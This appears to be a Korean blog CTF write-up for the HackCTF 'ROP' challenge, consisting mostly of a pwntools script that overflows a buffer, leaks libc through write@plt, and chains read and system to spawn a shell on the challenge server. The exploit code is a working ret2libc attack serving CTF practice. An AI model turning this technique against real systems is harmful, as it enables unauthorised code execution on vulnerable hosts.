Profile

youngsouk

youngsouk

[hackctf]ROP

from pwn import *

#p = process('./rop')
p = remote('ctf.j0n9hyun.xyz', 3018)
e = ELF('./rop')
#lib = e.libc
lib = ELF("libc.so.6")

context.log_level = "debug"

ppp_r = 0x08048509
main = 0x08048470

payload = 'a' * 0x88 + 'b' * 4
payload += p32(e.plt['write']) + p32(ppp_r) + p32(1) + p32(e.got['write']) + p32(4)
payload += p32(main)

p.sendline(payload)
libc = u32(p.recv(4)) - lib.sym['write']
log.info(hex(libc))

payload = 'a' * 0x88 + 'b' * 4 
payload += p32(e.plt['read']) + p32(ppp_r) + p32(0) + p32(e.bss()) + p32(8)
payload += p32(libc + lib.sym['system']) + p32(0) + p32(e.bss())

p.sendline(payload)
p.send('sh\x00')

p.interactive()

말그대로 ROP를 통해 write의 실제 주소를 출력해주고 그것을 바탕으로 libc 릭 해서 익스를 따면 된다.

'CTF write-up > hackctf' 카테고리의 다른 글

[hackctf]SysROP  (0) 2019.07.15
[hackctf] you are silver  (0) 2019.07.15
[hackctf] uaf  (0) 2019.07.15
[hackctf]RTL-Core  (0) 2019.07.15
[hack-ctf]1996  (0) 2019.07.15